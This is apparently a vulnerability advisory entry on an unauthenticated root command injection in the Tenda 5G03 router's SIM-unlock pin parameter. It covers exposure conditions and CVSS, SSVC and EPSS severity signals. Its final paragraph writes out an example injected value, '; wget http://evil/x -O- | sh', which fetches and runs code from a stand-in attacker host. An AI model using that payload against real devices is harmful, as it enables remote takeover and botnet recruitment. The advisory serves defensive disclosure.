Tenda 5G03 EUVD-2026-36751

Exploitation requires network reachability to the Tenda 5G03 web management interface and the ability to invoke the action_unlock_sim handler with a crafted pin parameter; per CVSS AV:N/AC:L/PR:N/UI:N no authentication, user interaction, or special configuration is required against the affected firmware. The primary limiting factor is exposure: the attacker must be able to reach the device's management HTTP service, so devices whose management plane is confined to the LAN and not exposed to the WAN/Internet are far less exposed. Impact is constrained to devices running the specific vulnerable firmware V05.03.02.04.

The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8) describes trivial remote, unauthenticated, low-complexity exploitation with total impact, and SSVC agrees on Automatable:yes and Technical Impact:total. These point to a genuinely dangerous, easily-weaponized flaw. However, SSVC Exploitation is 'none' and there is no CISA KEV listing, and EPSS is only 0.45% (36th percentile), so widespread active exploitation is not currently observed - the signals suggest high intrinsic severity but presently low real-world exploitation volume, typical of niche IoT devices that attract targeted botnet/mass-scan activity only after PoCs mature. Note the CPE is a placeholder ('n/a'), so affected-product identification comes only from the description, not from structured NVD CPE data - treat the exact version/model scope as description-derived rather than vendor-confirmed.

An attacker who can reach the Tenda 5G03 management interface sends a crafted request to the SIM-unlock action with a pin value containing shell metacharacters (e.g. ; wget http://evil/x -O- | sh), causing the router to execute the injected commands as root. Because exploitation is unauthenticated and low-complexity, this can be scripted for mass scanning or botnet recruitment; a public technical write-up/PoC for the action_unlock_sim function exists in a third-party IoT vulnerability repository.